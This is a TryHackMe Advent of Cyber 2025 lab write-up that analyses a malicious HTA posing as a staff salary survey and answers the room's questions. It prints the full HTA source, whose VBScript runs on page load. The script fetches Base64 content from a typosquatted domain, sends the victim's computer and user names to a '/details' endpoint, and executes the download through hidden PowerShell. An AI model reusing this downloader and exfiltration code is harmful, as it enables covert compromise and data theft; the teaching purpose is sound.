THM | AoC 2025 | Day 21
Day-21: Malware Analysis - Malhare.exe
SUMMARY
We analyze a malicious HTA posing as a survey application. The "getQuestions()" function downloads and executes PowerShell from a typosquatted domain while exfiltrating the victim's "ComputerName" and "UserName" via GET request.
We decode two obfuscation layers — Base64 and ROT13 — to retrieve the flag. The attack demonstrates how HTAs exploit social engineering and built-in Windows tools to compromise systems undetected.
Malware Analysis - Malhare.exe
- TL;DR: Learn about malware analysis and forensics.
- Original Room: TryHackMe | Advent of Cyber 2025 | DAY 21 - Malware Analysis - Malhare.exe
STORYLINE
"The task involves analyzing a suspicious HTA file to determine if it belongs to King Malhare. The investigation requires examining the file's metadata, script functions, network calls, encoded data, and evidence of data exfiltration to reverse-engineer how it was used to compromise Wareville's systems."
THEORY
HTA files (HTML Applications) are lightweight desktop applications built using web technologies like HTML, CSS, and JavaScript that run directly on Windows through the mshta.exe process. While originally designed for legitimate purposes — such as automating administrative tasks, creating quick interfaces for internal scripts, and building IT support utilities — they have become a popular attack vector for cybercriminals.
Legitimate Uses
HTA files were created to combine the simplicity of web development with the power of desktop applications. Developers and administrators use them to build functional tools without requiring full software development.
Malicious Applications
Attackers exploit HTAs because they can:
- Deliver malware via phishing emails and fake web pages
- Act as downloaders or droppers to fetch additional payloads from command-and-control (C2) servers
- Evade detection through encoding (Base64) and obfuscation
- Leverage built-in Windows tools (PowerShell, wscript.exe) to avoid leaving new files on disk
How to Analyze Suspicious HTAs
Three-step analysis process:
- Identify script sections (VBScript blocks)
- Look for encoded data or external connections (Base64-encoded strings, HTTP requests)
- Trace the logic to understand what gets executed or transmitted
Key indicators of malicious HTAs include deceptive titles/application names, PowerShell commands with execution policy bypasses, Base64-encoded strings (which often hide C2 URLs), and variables that download and execute code in memory.
PRACTICE
Relevant Source Code
<!DOCTYPE html>
<html>
<head>
<title>Best Festival Company Developer Survey</title>
<hta:application id="APP123080"
applicationname="Festival Elf Survey"
icon="logo.ico"
border="thin"
caption="yes"
maximizebutton="no"
minimizebutton="no"
singleinstance="yes"
windowstate="normal"
sysmenu="yes">
</hta:application>
<script type="text/javascript">
function visited() {
document.getElementById("never").style.display = 'none';
document.getElementById("visited").style.display = 'block';
}
function never() {
document.getElementById("visited").style.display = 'none';
document.getElementById("never").style.display = 'block';
}
function submitted() {
document.getElementById("spinner").style.display = 'none';
document.getElementById("questions").style.display = 'none';
document.getElementById("thanks").style.display = 'block';
}
function submit() {
document.getElementById("submitbutton").style.display = 'none';
document.getElementById("spinner").style.display = 'inline';
setTimeout(submitted, 2000);
}
</script>
<script type="text/vbscript">
Sub Window_onLoad
Call getQuestions()
End Sub
Function getQuestions()
Dim IE, result, decoded, decodedString
Set IE = CreateObject("InternetExplorer.Application")
IE.navigate2 "http://survey.bestfestiivalcompany.com/survey_questions.txt"
Do While IE.ReadyState < 4
Loop
result = IE.document.body.innerText
IE.quit
decoded = decodeBase64(result)
decodedString = RSBinaryToString(decoded)
Call provideFeedback(decodedString)
End Function
Function provideFeedback(feedbackString)
Dim strHost, strUser, strDomain
On Error Resume Next
strHost = CreateObject("WScript.Network").ComputerName
strUser = CreateObject("WScript.Network").UserName
Dim IE
Set IE = CreateObject("InternetExplorer.Application")
IE.navigate2 "http://survey.bestfestiivalcompany.com/details?u=" & strUser & "?h=" & strHost
Do While IE.ReadyState < 4
Loop
IE.quit
Dim runObject
Set runObject = CreateObject("Wscript.Shell")
runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False
End Function
Function decodeBase64(base64)
dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
Set EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
end function
Function RSBinaryToString(xBinary)
Dim Binary
If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary
Dim RS, LBinary
Const adLongVarChar = 201
Set RS = CreateObject("ADODB.Recordset")
LBinary = LenB(Binary)
If LBinary>0 Then
RS.Fields.Append "mBinary", adLongVarChar, LBinary
RS.Open
RS.AddNew
RS("mBinary").AppendChunk Binary
RS.Update
RSBinaryToString = RS("mBinary")
Else
RSBinaryToString = ""
End If
End Function
</script>
<style>
body {
font-family: museo_sans,Arial,Helvetica,sans-serif;
overflow-x: hidden;
}
#header {
background-color: rgb(0, 153, 153);
box-shadow: rgba(0, 0, 0, .298039) 0 5px 0 0;
height: 150px;
width: 100%;
z-index: 1000;
margin-right: auto;
margin-left: auto;
}
#survey-content {
width: 100%;
max-width: 1100px;
z-index: 1000;
margin-right: auto;
margin-left: auto;
}
#topbar {
max-width: 500px;
float: left;
}
#logo {
margin-left 10%;
}
#survey {
margin-top: 5.0%;
margin-right: 20px;
padding-left: 10px;
padding-right: 10px;
background-color: rgb(0, 153, 153);
font-family: inherit;
font-size: 40px;
text-color: #F8F8F8;
font-weight: bold;
text-transform: uppercase;
text-decoration: none;
color: #FFFFFF;
float: right;
}
#survey-heading {
color: #FFFFFF;
font-family: 'Helvetica Neue', sans-serif;
font-weight: bold;
letter-spacing: -1px;
line-height: 1;
}
#hp {
float: right;
margin: -55% 65%;
}
#thanks {
overflow-x: hidden;
overflow-y: hidden;
}
</style>
</head>
<body>
<div id="header">
<div id="topbar">
<img id="logo" src="logo.png" alt="logo"></img>
</div>
<div id="survey">
<p id="survey-heading">Insert Survey Heading</p>
</div>
</div><br>
<div id="survey-content">
<h2>Anonymous Salary Feedback</h2>
<div id="questions">
<div>
<p> We are looking for your feedback to help us improve our employee relations and to invest in the future of our employees.This survey is completely anonymous and gives you to opportunity to express what you think about Best Festival Company's commitment to its employees. Please take five minutes to complete the following survey.</p>
</div>
<h3>How long have you been employed at Best Festival Company?</h3>
<label><input type="radio" name="q1"/> Less than 1 year</label><br />
<label><input type="radio" name="q1"/> Less than 2 years</label><br />
<label><input type="radio" name="q1"/> 2 years or more</label>
<h3>Do you feel valued at work?</h3>
<label><input type="radio" name="q2" />Yes</label><br />
<label><input type="radio" name="q2" />No</label><br />
<label><input type="radio" name="q2" />Indecisive</label>
<h3>Do you feel content with your current salary?</h3>
<label><input type="radio" name="q3" />Yes</label><br />
<label><input type="radio" name="q3" />No</label><br />
<label><input type="radio" name="q3" />Indecisive</label>
<h3>By how much do you believe your salary should increase?</h3>
<label><input type="radio" name="q4" />Up to 5%</label><br />
<label><input type="radio" name="q4" />Between 5% and 10%</label><br />
<label><input type="radio" name="q4" />Between 10% and 15%</label><br />
<label><input type="radio" name="q4" />More that 10%</label><br />
</div>
<input id="submitbutton" type="submit" value="Submit" style="background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold" onMouseOver="this.style.backgroundColor='#ff9900'" onMouseOut="this.style.backgroundColor='#009999'" onclick="submit()" />
<img src="" style="display:none" id="spinner" />
</div>
<div id="thanks" style="display:none">
<div id="survey-content">
<div>Thank you for your feedback!</div>
<div>All participants will be entered into a prize draw for a chance to win a trip to the South Pole!</div>
<input id="submitbutton" type="submit" value="Close" style="background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold" onMouseOver="this.style.backgroundColor='#ff9900'" onMouseOut="this.style.backgroundColor='#009999'" onclick="self.close()" />
</div>
</div>
<div>
</div>
</body>
</html>
Q & A
Question-01: What is the title of the HTA application?
Best Festival Company Developer Survey
Line 4 provides us with <title>Best Festival Company Developer Survey</title>.
Question-02: What VBScript function is acting as if it is downloading the survey questions?
getQuestions
The function declaration starting from Line 43 with Function getQuestions() - falsely appears to be downloading a surway via http://survey.bestfestiivalcompany.com/survey_questions.txt.
Question-03: What URL domain (including sub-domain) is the "questions" being downloaded from?
survey.bestfestiivalcompany.com
See answer above in "Question-02".
Question-04: Malhare seems to be using typosquatting, domains that look the same as the real one, in an attempt to hide the fact that the domain is not the inteded one, what character in the domain gives this away?
i
The double i letter, instead of
- "survey.bestfestivalcompany.com" the typosquatted "survey.bestfestiivalcompany.com"
is used to create the connection.
Question-05: Malicious HTAs often include real-looking data, like survey questions, to make the file seem authentic. How many questions does the survey have?
4
The questions start from line 188, as we can see, there are 4 questions, all using Level 3 Headings (<h3>Question</h3>).
Question-06: Notice how even in code, social engineering persists, fake incentives like contests or trips hide in plain sight to build trust. The survey entices participation by promising a chance to win a trip to where?
South Pole
There is a nice incentive mentioned on Line 215:
- "All participants will be entered into a prize draw for a chance to win a trip to the South Pole!"
Question-07: The HTA is enumerating information from the local host executing the application. What two pieces of information about the computer it is running on are being exfiltrated? You should provide the two object names separated by commas.
ComputerName,UserName
These two lines - lines 60 and 61 - are the ones where information is gathered from the local system via:
strHost = CreateObject("WScript.Network").ComputerName
strUser = CreateObject("WScript.Network").UserName
Question-08: What endpoint is the enumerated data being exfiltrated to?
/details
On Line 65, a connection is made with the following URL:
IE.navigate2 "http://survey.bestfestiivalcompany.com/details?u=" & strUser & "?h=" & strHost
The endpoint is /details with two parameters u and h.
Question-09: What HTTP method is being used to exfiltrate the data?
GET
Given that our enumerated data is exfiltrated via the URL parameters (u and h) and not in the request body, we are talking here about a GET method and not a POST one.
Question-10: After reviewing the function intended to get the survey questions, it seems that the data from the download of the questions is actually being executed. What is the line of code that executes the contents of the download?
runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False
We find it on Line 73, right after a "Wscript.Shell" object was created.
Question-11: It seems as if the malware site has been taken down, so we cannot download the contents that the malware was executing. Fortunately, one of the elves created a copy when the site was still active. Download the contents from here. What popular encoding scheme was used in an attempt to obfuscate the download?
base64
This is the full content:
ZnVuY3Rpb24gQUFCQiB7CiAgICBbQ21kbGV0QmluZGluZygpXQogICAgcGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkpXQogICAgICAgIFtzdHJpbmddJFRleHQKICAgICkKCiAgICAkc2IgPSBOZXctT2JqZWN0IFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgJFRleHQuTGVuZ3RoCiAgICBmb3JlYWNoICgkY2ggaW4gJFRleHQuVG9DaGFyQXJyYXkoKSkgewogICAgICAgICRjID0gW2ludF1bY2hhcl0kY2gKCiAgICAgICAgaWYgKCRjIC1nZSA2NSAtYW5kICRjIC1sZSA5MCkgeyAgICAgICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDY1ICsgMTMpICUgMjYpICsgNjUKICAgICAgICB9CiAgICAgICAgZWxzZWlmICgkYyAtZ2UgOTcgLWFuZCAkYyAtbGUgMTIyKSB7ICAgICAgCiAgICAgICAgICAgICRjID0gKCgkYyAtIDk3ICsgMTMpICUgMjYpICsgOTcKICAgICAgICB9CgogICAgICAgIFt2b2lkXSRzYi5BcHBlbmQoW2NoYXJdJGMpCiAgICB9CiAgICAkc2IuVG9TdHJpbmcoKQp9CgokZmxhZyA9ICdHVVp7Wm55am5lci5OYW55bGZycX0nCgokZGVjbyA9IEFBQkIgLVRleHQgJGZsYWcKV3JpdGUtT3V0cHV0ICRkZWNv
Pasting it into CyberChef and using the "Magic" recipe helps us identify it as a Base64 encoded text.
Question-12: Decode the payload. It seems as if additional steps where taken to hide the malware! What common encryption scheme was used in the script?
rot13
Let's use the "From Base64" recipe on the encoded text, this is what we get:
function AABB {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[string]$Text
)
$sb = New-Object System.Text.StringBuilder $Text.Length
foreach ($ch in $Text.ToCharArray()) {
$c = [int][char]$ch
if ($c -ge 65 -and $c -le 90) {
$c = (($c - 65 + 13) % 26) + 65
}
elseif ($c -ge 97 -and $c -le 122) {
$c = (($c - 97 + 13) % 26) + 97
}
[void]$sb.Append([char]$c)
}
$sb.ToString()
}
$flag = 'GUZ{Znyjner.Nanylfrq}'
$deco = AABB -Text $flag
Write-Output $deco
After a quick analysis, we notice that the transformation that is applied on each of the characters (their ASCII character code) is simply an addition of 13:
- for uppercase letters A-Z (65-90) -
(($c - 65 + 13) % 26) - for lowercase letters a-z (97-122) |
(($c - 97 + 13) % 26)
Meaning, each character is basically shifter by 13, which corresponds with the ROT13 encoding.
Question-13: Either run the script or decrypt the flag value using online tools such as CyberChef. What is the flag value?
[REDACTED-FLAG]
Simply add the ROT13-encoded flag (GUZ{Znyjner.Nanylfrq}) as the "Input" and apply the ROT13 recipe - which shifts each letter 13 times - to arrive at the correct flag.
Question-14: If you enjoyed today's room, you may also like the MalDoc: Static Analysis room.
No answer needed
SideQuest-4
Question: For those who want another challenge, download the HTA file from here to get the key for Side Quest 4, accessible through our Side Quest Hub. The password for the file is CanYouREM3?.
No answer needed